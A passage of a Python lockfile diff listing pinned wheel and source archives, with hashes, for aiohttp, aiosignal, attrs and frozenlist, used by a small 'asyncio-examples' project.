"https://files.pythonhosted.org/packages/e4/b6/c8534862126191a034f68153194c389addc285a0f1347d85096d349bbc15/aiohttp-3.13.5-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:9b16c653d38eb1a611cc898c41e76859ca27f119d25b53c12875fd0474ae31a8", size = 1745185, upload-time = "2026-03-31T21:58:36.909Z" }, + { url = "https://files.pythonhosted.org/packages/0b/93/4ca8ee2ef5236e2707e0fd5fecb10ce214aee1ff4ab307af9c558bda3b37/aiohttp-3.13.5-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:999802d5fa0389f58decd24b537c54aa63c01c3219ce17d1214cbda3c2b22d2d", size = 1557311, upload-time = "2026-03-31T21:58:39.38Z" }, + { url = "https://files.pythonhosted.org/packages/57/ae/76177b15f18c5f5d094f19901d284025db28eccc5ae374d1d254181d33f4/aiohttp-3.13.5-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ec707059ee75732b1ba130ed5f9580fe10ff75180c812bc267ded039db5128c6", size = 1773147, upload-time = "2026-03-31T21:58:41.476Z" }, + { url = "https://files.pythonhosted.org/packages/01/a4/62f05a0a98d88af59d93b7fcac564e5f18f513cb7471696ac286db970d6a/aiohttp-3.13.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2d6d44a5b48132053c2f6cd5c8cb14bc67e99a63594e336b0f2af81e94d5530c", size = 1730356, upload-time = "2026-03-31T21:58:44.049Z" }, + { url = "https://files.pythonhosted.org/packages/e4/85/fc8601f59dfa8c9523808281f2da571f8b4699685f9809a228adcc90838d/aiohttp-3.13.5-cp313-cp313-win32.whl", hash = "sha256:329f292ed14d38a6c4c435e465f48bebb47479fd676a0411936cc371643225cc", size = 432637, upload-time = "2026-03-31T21:58:46.167Z" }, + { url = "https://files.pythonhosted.org/packages/c0/1b/ac685a8882896acf0f6b31d689e3792199cfe7aba37969fa91da63a7fa27/aiohttp-3.13.5-cp313-cp313-win_amd64.whl", hash = "sha256:69f571de7500e0557801c0b51f4780482c0ec5fe2ac851af5a92cfce1af1cb83", size = 458896, upload-time = "2026-03-31T21:58:48.119Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ce/46572759afc859e867a5bc8ec3487315869013f59281ce61764f76d879de/aiohttp-3.13.5-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:eb4639f32fd4a9904ab8fb45bf3383ba71137f3d9d4ba25b3b3f3109977c5b8c", size = 745721, upload-time = "2026-03-31T21:58:50.229Z" }, + { url = "https://files.pythonhosted.org/packages/13/fe/8a2efd7626dbe6049b2ef8ace18ffda8a4dfcbe1bcff3ac30c0c7575c20b/aiohttp-3.13.5-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:7e5dc4311bd5ac493886c63cbf76ab579dbe4641268e7c74e48e774c74b6f2be", size = 497663, upload-time = "2026-03-31T21:58:52.232Z" }, + { url = "https://files.pythonhosted.org/packages/9b/91/cc8cc78a111826c54743d88651e1687008133c37e5ee615fee9b57990fac/aiohttp-3.13.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:756c3c304d394977519824449600adaf2be0ccee76d206ee339c5e76b70ded25", size = 499094, upload-time = "2026-03-31T21:58:54.566Z" }, + { url = "https://files.pythonhosted.org/packages/0a/33/a8362cb15cf16a3af7e86ed11962d5cd7d59b449202dc576cdc731310bde/aiohttp-3.13.5-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ecc26751323224cf8186efcf7fbcbc30f4e1d8c7970659daf25ad995e4032a56", size = 1726701, upload-time = "2026-03-31T21:58:56.864Z" }, + { url = "https://files.pythonhosted.org/packages/45/0c/c091ac5c3a17114bd76cbf85d674650969ddf93387876cf67f754204bd77/aiohttp-3.13.5-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:10a75acfcf794edf9d8db50e5a7ec5fc818b2a8d3f591ce93bc7b1210df016d2", size = 1683360, upload-time = "2026-03-31T21:58:59.072Z" }, + { url = "https://files.pythonhosted.org/packages/23/73/bcee1c2b79bc275e964d1446c55c54441a461938e70267c86afaae6fba27/aiohttp-3.13.5-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f7a18f258d124cd678c5fe072fe4432a4d5232b0657fca7c1847f599233c83a", size = 1773023, upload-time = "2026-03-31T21:59:01.776Z" }, + { url = "https://files.pythonhosted.org/packages/c7/ef/720e639df03004fee2d869f771799d8c23046dec47d5b81e396c7cda583a/aiohttp-3.13.5-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:df6104c009713d3a89621096f3e3e88cc323fd269dbd7c20afe18535094320be", size = 1853795, upload-time = "2026-03-31T21:59:04.568Z" }, + { url = "https://files.pythonhosted.org/packages/bd/c9/989f4034fb46841208de7aeeac2c6d8300745ab4f28c42f629ba77c2d916/aiohttp-3.13.5-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:241a94f7de7c0c3b616627aaad530fe2cb620084a8b144d3be7b6ecfe95bae3b", size = 1730405, upload-time = "2026-03-31T21:59:07.221Z" }, + { url = "https://files.pythonhosted.org/packages/ce/75/ee1fd286ca7dc599d824b5651dad7b3be7ff8d9a7e7b3fe9820d9180f7db/aiohttp-3.13.5-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c974fb66180e58709b6fc402846f13791240d180b74de81d23913abe48e96d94", size = 1558082, upload-time = "2026-03-31T21:59:09.484Z" }, + { url = "https://files.pythonhosted.org/packages/c3/20/1e9e6650dfc436340116b7aa89ff8cb2bbdf0abc11dfaceaad8f74273a10/aiohttp-3.13.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:6e27ea05d184afac78aabbac667450c75e54e35f62238d44463131bd3f96753d", size = 1692346, upload-time = "2026-03-31T21:59:12.068Z" }, + { url = "https://files.pythonhosted.org/packages/d8/40/8ebc6658d48ea630ac7903912fe0dd4e262f0e16825aa4c833c56c9f1f56/aiohttp-3.13.5-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a79a6d399cef33a11b6f004c67bb07741d91f2be01b8d712d52c75711b1e07c7", size = 1698891, upload-time = "2026-03-31T21:59:14.552Z" }, + { url = "https://files.pythonhosted.org/packages/d8/78/ea0ae5ec8ba7a5c10bdd6e318f1ba5e76fcde17db8275188772afc7917a4/aiohttp-3.13.5-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c632ce9c0b534fbe25b52c974515ed674937c5b99f549a92127c85f771a78772", size = 1742113, upload-time = "2026-03-31T21:59:17.068Z" }, + { url = "https://files.pythonhosted.org/packages/8a/66/9d308ed71e3f2491be1acb8769d96c6f0c47d92099f3bc9119cada27b357/aiohttp-3.13.5-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fceedde51fbd67ee2bcc8c0b33d0126cc8b51ef3bbde2f86662bd6d5a6f10ec5", size = 1553088, upload-time = "2026-03-31T21:59:19.541Z" }, + { url = "https://files.pythonhosted.org/packages/da/a6/6cc25ed8dfc6e00c90f5c6d126a98e2cf28957ad06fa1036bd34b6f24a2c/aiohttp-3.13.5-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:f92995dfec9420bb69ae629abf422e516923ba79ba4403bc750d94fb4a6c68c1", size = 1757976, upload-time = "2026-03-31T21:59:22.311Z" }, + { url = "https://files.pythonhosted.org/packages/c1/2b/cce5b0ffe0de99c83e5e36d8f828e4161e415660a9f3e58339d07cce3006/aiohttp-3.13.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:20ae0ff08b1f2c8788d6fb85afcb798654ae6ba0b747575f8562de738078457b", size = 1712444, upload-time = "2026-03-31T21:59:24.635Z" }, + { url = "https://files.pythonhosted.org/packages/6c/cf/9e1795b4160c58d29421eafd1a69c6ce351e2f7c8d3c6b7e4ca44aea1a5b/aiohttp-3.13.5-cp314-cp314-win32.whl", hash = "sha256:b20df693de16f42b2472a9c485e1c948ee55524786a0a34345511afdd22246f3", size = 438128, upload-time = "2026-03-31T21:59:27.291Z" }, + { url = "https://files.pythonhosted.org/packages/22/4d/eaedff67fc805aeba4ba746aec891b4b24cebb1a7d078084b6300f79d063/aiohttp-3.13.5-cp314-cp314-win_amd64.whl", hash = "sha256:f85c6f327bf0b8c29da7d93b1cabb6363fb5e4e160a32fa241ed2dce21b73162", size = 464029, upload-time = "2026-03-31T21:59:29.429Z" }, + { url = "https://files.pythonhosted.org/packages/79/11/c27d9332ee20d68dd164dc12a6ecdef2e2e35ecc97ed6cf0d2442844624b/aiohttp-3.13.5-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:1efb06900858bb618ff5cee184ae2de5828896c448403d51fb633f09e109be0a", size = 778758, upload-time = "2026-03-31T21:59:31.547Z" }, + { url = "https://files.pythonhosted.org/packages/04/fb/377aead2e0a3ba5f09b7624f702a964bdf4f08b5b6728a9799830c80041e/aiohttp-3.13.5-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:fee86b7c4bd29bdaf0d53d14739b08a106fdda809ca5fe032a15f52fae5fe254", size = 512883, upload-time = "2026-03-31T21:59:34.098Z" }, + { url = "https://files.pythonhosted.org/packages/bb/a6/aa109a33671f7a5d3bd78b46da9d852797c5e665bfda7d6b373f56bff2ec/aiohttp-3.13.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:20058e23909b9e65f9da62b396b77dfa95965cbe840f8def6e572538b1d32e36", size = 516668, upload-time = "2026-03-31T21:59:36.497Z" }, + { url = "https://files.pythonhosted.org/packages/79/b3/ca078f9f2fa9563c36fb8ef89053ea2bb146d6f792c5104574d49d8acb63/aiohttp-3.13.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8cf20a8d6868cb15a73cab329ffc07291ba8c22b1b88176026106ae39aa6df0f", size = 1883461, upload-time = "2026-03-31T21:59:38.723Z" }, + { url = "https://files.pythonhosted.org/packages/b7/e3/a7ad633ca1ca497b852233a3cce6906a56c3225fb6d9217b5e5e60b7419d/aiohttp-3.13.5-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:330f5da04c987f1d5bdb8ae189137c77139f36bd1cb23779ca1a354a4b027800", size = 1747661, upload-time = "2026-03-31T21:59:41.187Z" }, + { url = "https://files.pythonhosted.org/packages/33/b9/cd6fe579bed34a906d3d783fe60f2fa297ef55b27bb4538438ee49d4dc41/aiohttp-3.13.5-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f1cbf0c7926d315c3c26c2da41fd2b5d2fe01ac0e157b78caefc51a782196cf", size = 1863800, upload-time = "2026-03-31T21:59:43.84Z" }, + { url = "https://files.pythonhosted.org/packages/c0/3f/2c1e2f5144cefa889c8afd5cf431994c32f3b29da9961698ff4e3811b79a/aiohttp-3.13.5-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:53fc049ed6390d05423ba33103ded7281fe897cf97878f369a527070bd95795b", size = 1958382, upload-time = "2026-03-31T21:59:46.187Z" }, + { url = "https://files.pythonhosted.org/packages/66/1d/f31ec3f1013723b3babe3609e7f119c2c2fb6ef33da90061a705ef3e1bc8/aiohttp-3.13.5-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:898703aa2667e3c5ca4c54ca36cd73f58b7a38ef87a5606414799ebce4d3fd3a", size = 1803724, upload-time = "2026-03-31T21:59:48.656Z" }, + { url = "https://files.pythonhosted.org/packages/0e/b4/57712dfc6f1542f067daa81eb61da282fab3e6f1966fca25db06c4fc62d5/aiohttp-3.13.5-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0494a01ca9584eea1e5fbd6d748e61ecff218c51b576ee1999c23db7066417d8", size = 1640027, upload-time = "2026-03-31T21:59:51.284Z" }, + { url = "https://files.pythonhosted.org/packages/25/3c/734c878fb43ec083d8e31bf029daae1beafeae582d1b35da234739e82ee7/aiohttp-3.13.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6cf81fe010b8c17b09495cbd15c1d35afbc8fb405c0c9cf4738e5ae3af1d65be", size = 1806644, upload-time = "2026-03-31T21:59:53.753Z" }, + { url = "https://files.pythonhosted.org/packages/20/a5/f671e5cbec1c21d044ff3078223f949748f3a7f86b14e34a365d74a5d21f/aiohttp-3.13.5-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:c564dd5f09ddc9d8f2c2d0a301cd30a79a2cc1b46dd1a73bef8f0038863d016b", size = 1791630, upload-time = "2026-03-31T21:59:56.239Z" }, + { url = "https://files.pythonhosted.org/packages/0b/63/fb8d0ad63a0b8a99be97deac8c04dacf0785721c158bdf23d679a87aa99e/aiohttp-3.13.5-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2994be9f6e51046c4f864598fd9abeb4fba6e88f0b2152422c9666dcd4aea9c6", size = 1809403, upload-time = "2026-03-31T21:59:59.103Z" }, + { url = "https://files.pythonhosted.org/packages/59/0c/bfed7f30662fcf12206481c2aac57dedee43fe1c49275e85b3a1e1742294/aiohttp-3.13.5-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:157826e2fa245d2ef46c83ea8a5faf77ca19355d278d425c29fda0beb3318037", size = 1634924, upload-time = "2026-03-31T22:00:02.116Z" }, + { url = "https://files.pythonhosted.org/packages/17/d6/fd518d668a09fd5a3319ae5e984d4d80b9a4b3df4e21c52f02251ef5a32e/aiohttp-3.13.5-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:a8aca50daa9493e9e13c0f566201a9006f080e7c50e5e90d0b06f53146a54500", size = 1836119, upload-time = "2026-03-31T22:00:04.756Z" }, + { url = "https://files.pythonhosted.org/packages/78/b7/15fb7a9d52e112a25b621c67b69c167805cb1f2ab8f1708a5c490d1b52fe/aiohttp-3.13.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:3b13560160d07e047a93f23aaa30718606493036253d5430887514715b67c9d9", size = 1772072, upload-time = "2026-03-31T22:00:07.494Z" }, + { url = "https://files.pythonhosted.org/packages/7e/df/57ba7f0c4a553fc2bd8b6321df236870ec6fd64a2a473a8a13d4f733214e/aiohttp-3.13.5-cp314-cp314t-win32.whl", hash = "sha256:9a0f4474b6ea6818b41f82172d799e4b3d29e22c2c520ce4357856fced9af2f8", size = 471819, upload-time = "2026-03-31T22:00:10.277Z" }, + { url = "https://files.pythonhosted.org/packages/62/29/2f8418269e46454a26171bfdd6a055d74febf32234e474930f2f60a17145/aiohttp-3.13.5-cp314-cp314t-win_amd64.whl", hash = "sha256:18a2f6c1182c51baa1d28d68fea51513cb2a76612f038853c0ad3c145423d3d9", size = 505441, upload-time = "2026-03-31T22:00:12.791Z" }, +] + +[[package]] +name = "aiosignal" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "frozenlist" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25007, upload-time = "2025-07-03T22:54:43.528Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 7490, upload-time = "2025-07-03T22:54:42.156Z" }, +] + +[[package]] +name = "asyncio-examples" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "aiohttp" }, +] + +[package.metadata] +requires-dist = [{ name = "aiohttp", specifier = ">=3.13.5" }] + +[[package]] +name = "attrs" +version = "26.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 952055, upload-time = "2026-03-19T14:22:25.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 67548, upload-time = "2026-03-19T14:22:23.645Z" }, +] + +[[package]] +name = "frozenlist" +version = "1.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad", size = 45875, upload-time = "2025-10-06T05:38:17.865Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/29/948b9aa87e75820a38650af445d2ef2b6b8a6fab1a23b6bb9e4ef0be2d59/frozenlist-1.8.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1", size = 87782, upload-time = "2025-10-06T05:36:06.649Z" }, + { url = "https://files.pythonhosted.org/packages/64/80/4f6e318ee2a7c0750ed724fa33a4bdf1eacdc5a39a7a24e818a773cd91af/frozenlist-1.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b", size = 50594, upload-time = "2025-10-06T05:36:07.69Z" }, + { url = "https://files.pythonhosted.org/packages/2b/94/5c8a2b50a496b11dd519f4a24cb5496cf125681dd99e94c604ccdea9419a/frozenlist-1.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4", size = 50448, upload-time = "2025-10-06T05:36:08.78Z" }, + { url = "https://files.pythonhosted.org/packages/6a/bd/d91c5e39f490a49df14320f4e8c80161cfcce09f1e2cde1edd16a551abb3/frozenlist-1.8.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383", size = 242411, upload-time = "2025-10-06T05:36:09.801Z" }, + { url = "https://files.pythonhosted.org/packages/8f/83/f61505a05109ef3293dfb1ff594d13d64a2324ac3482be2cedc2be818256/frozenlist-1.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4", size = 243014, upload-time = "2025-10-06T05:36:11.394Z" }, + { url = "https://files.pythonhosted.org/packages/d8/cb/cb6c7b0f7d4023ddda30cf56b8b17494eb3a79e3fda666bf735f63118b35/frozenlist-1.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8", size = 234909, upload-time = "2025-10-06T05:36:12.598Z" }, + { url = "https://files.pythonhosted.org/packages/31/c5/cd7a1f3b8b34af009fb17d4123c5a778b44ae2804e3ad6b86204255f9ec5/frozenlist-1.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b", size = 250049, upload-time = "2025-10-06T05:36:14.065Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/2f95d3b416c584a1e7f0e1d6d31998c4a795f7544069ee2e0962a4b60740/frozenlist-1.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52", size = 256485, upload-time = "2025-10-06T05:36:15.39Z" }, + { url = "https://files.pythonhosted.org/packages/ce/03/024bf7720b3abaebcff6d0793d73c154237b85bdf67b7ed55e5e9596dc9a/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29", size = 237619, upload-time = "2025-10-06T05:36:16.558Z" }, + { url = "https://files.pythonhosted.org/packages/69/fa/f8abdfe7d76b731f5d8bd217827cf6764d4f1d9763407e42717b4bed50a0/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3", size = 250320, upload-time = "2025-10-06T05:36:17.821Z" }, + { url = "https://files.pythonhosted.org/packages/f5/3c/b051329f718b463b22613e269ad72138cc256c540f78a6de89452803a47d/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143", size = 246820, upload-time = "2025-10-06T05:36:19.046Z" }, + { url = "https://files.pythonhosted.org/packages/0f/ae/58282e8f98e444b3f4dd42448ff36fa38bef29e40d40f330b22e7108f565/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608", size = 250518, upload-time = "2025-10-06T05:36:20.763Z" }, + { url = "https://files.pythonhosted.org/packages/8f/96/007e5944694d66123183845a106547a15944fbbb7154788cbf7272789536/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa", size = 239096, upload-time = "2025-10-06T05:36:22.129Z" }, + { url = "https://files.pythonhosted.org/packages/66/bb/852b9d6db2fa40be96f29c0d1205c306288f0684df8fd26ca1951d461a56/frozenlist-1.8.0-cp312-cp312-win32.whl", hash = "sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf", size = 39985, upload-time = "2025-10-06T05:36:23.661Z" }, + { url = "https://files.pythonhosted.org/packages/b8/af/38e51a553dd66eb064cdf193841f16f077585d4d28394c2fa6235cb41765/frozenlist-1.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746", size = 44591, upload-time = "2025-10-06T05:36:24.958Z" }, + { url = "https://files.pythonhosted.org/packages/a7/06/1dc65480ab147339fecc70797e9c2f69d9cea9cf38934ce08df070fdb9cb/frozenlist-1.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd", size = 40102, upload-time = "2025-10-06T05:36:26.333Z" }, + { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a", size = 85717, upload-time = "2025-10-06T05:36:27.341Z" }, + { url = "https://files.pythonhosted.org/packages/30/ba/b0b3de23f40bc55a7057bd38434e25c34fa48e17f20ee273bbde5e0650f3/frozenlist-1.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7", size = 49651, upload-time = "2025-10-06T05:36:28.855Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ab/6e5080ee374f875296c4243c381bbdef97a9ac39c6e3ce1d5f7d42cb78d6/frozenlist-1.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40", size = 49417, upload-time = "2025-10-06T05:36:29.877Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4e/e4691508f9477ce67da2015d8c00acd751e6287739123113a9fca6f1604e/frozenlist-1.8.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027", size = 234391, upload-time = "2025-10-06T05:36:31.301Z" }, + { url = "https://files.pythonhosted.org/packages/40/76/c202df58e3acdf12969a7895fd6f3bc016c642e6726aa63bd3025e0fc71c/frozenlist-1.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822", size = 233048, upload-time = "2025-10-06T05:36:32.531Z" }, + { url = "https://files.pythonhosted.org/packages/f9/c0/8746afb90f17b73ca5979c7a3958116e105ff796e718575175319b5bb4ce/frozenlist-1.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121", size = 226549, upload-time = "2025-10-06T05:36:33.706Z" }, + { url = "https://files.pythonhosted.org/packages/7e/eb/4c7eefc718ff72f9b6c4893291abaae5fbc0c82226a32dcd8ef4f7a5dbef/frozenlist-1.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5", size = 239833, upload-time = "2025-10-06T05:36:34.947Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/e5c02187cf704224f8b21bee886f3d713ca379535f16893233b9d672ea71/frozenlist-1.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e", size = 245363, upload-time = "2025-10-06T05:36:36.534Z" }, + { url = "https://files.pythonhosted.org/packages/1f/96/cb85ec608464472e82ad37a17f844889c36100eed57bea094518bf270692/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11", size = 229314, upload-time = "2025-10-06T05:36:38.582Z" }, + { url = "https://files.pythonhosted.org/packages/5d/6f/4ae69c550e4cee66b57887daeebe006fe985917c01d0fff9caab9883f6d0/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1", size = 243365, upload-time = "2025-10-06T05:36:40.152Z" }, + { url = "https://files.pythonhosted.org/packages/7a/58/afd56de246cf11780a40a2c28dc7cbabbf06337cc8ddb1c780a2d97e88d8/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1", size = 237763, upload-time = "2025-10-06T05:36:41.355Z" }, + { url = "https://files.pythonhosted.org/packages/cb/36/cdfaf6ed42e2644740d4a10452d8e97fa1c062e2a8006e4b09f1b5fd7d63/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8", size = 240110, upload-time = "2025-10-06T05:36:42.716Z" }, + { url = "https://files.pythonhosted.org/packages/03/a8/9ea226fbefad669f11b52e864c55f0bd57d3c8d7eb07e9f2e9a0b39502e1/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed", size = 233717, upload-time = "2025-10-06T05:36:44.251Z" }, + { url = "https://files.pythonhosted.org/packages/1e/0b/1b5531611e83ba7d13ccc9988967ea1b51186af64c42b7a7af465dcc9568/frozenlist-1.8.0-cp313-cp313-win32.whl", hash = "sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496", size = 39628, upload-time = "2025-10-06T05:36:45.423Z" }, + { url = "https://files.pythonhosted.org/packages/d8/cf/174c91dbc9cc49bc7b7aab74d8b734e974d1faa8f191c74af9b7e80848e6/frozenlist-1.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231", size = 43882, upload-time = "2025-10-06T05:36:46.796Z" }, + { url = "https://files.pythonhosted.org/packages/c1/17/502cd212cbfa96eb1388614fe39a3fc9ab87dbbe042b66f97acb57474834/frozenlist-1.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62", size = 39676, upload-time = "2025-10-06T05:36:47.8Z" }, + { url = 